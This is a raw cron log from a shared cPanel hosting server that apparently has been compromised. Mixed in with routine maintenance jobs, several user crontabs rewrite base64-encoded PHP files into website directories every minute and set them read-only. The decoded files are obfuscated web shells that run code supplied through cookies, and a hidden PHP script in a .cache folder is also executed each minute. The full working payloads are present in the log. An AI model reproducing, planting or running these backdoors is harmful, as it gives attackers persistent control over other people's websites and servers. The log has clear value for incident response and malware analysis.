Mar  1 23:35:01 medusa CROND[31154]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 23:35:01 medusa CROND[31155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:35:01 medusa CROND[31156]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:35:01 medusa CROND[31153]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:35:01 medusa CROND[31158]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:36:01 medusa CROND[5032]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:36:01 medusa CROND[5033]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:36:01 medusa CROND[5034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:36:01 medusa CROND[5036]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:36:01 medusa CROND[5035]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:36:01 medusa CROND[5037]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:36:01 medusa CROND[5039]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:36:01 medusa CROND[5040]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:36:01 medusa CROND[5044]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:36:01 medusa CROND[5045]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 23:36:01 medusa CROND[5043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:36:01 medusa CROND[5054]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:36:01 medusa CROND[5056]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:36:01 medusa CROND[5058]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:37:01 medusa CROND[9879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:37:01 medusa CROND[10070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:37:01 medusa CROND[10075]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:37:01 medusa CROND[10076]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:37:01 medusa CROND[10077]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:37:01 medusa CROND[10079]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 23:37:01 medusa CROND[10082]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:37:01 medusa CROND[10086]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:37:01 medusa CROND[10087]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:37:01 medusa CROND[10088]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:37:01 medusa CROND[10089]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:37:01 medusa CROND[10090]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:37:01 medusa CROND[10091]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:38:02 medusa CROND[16990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:38:02 medusa CROND[17115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:38:02 medusa CROND[17118]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:38:02 medusa CROND[17119]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:38:02 medusa CROND[17120]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
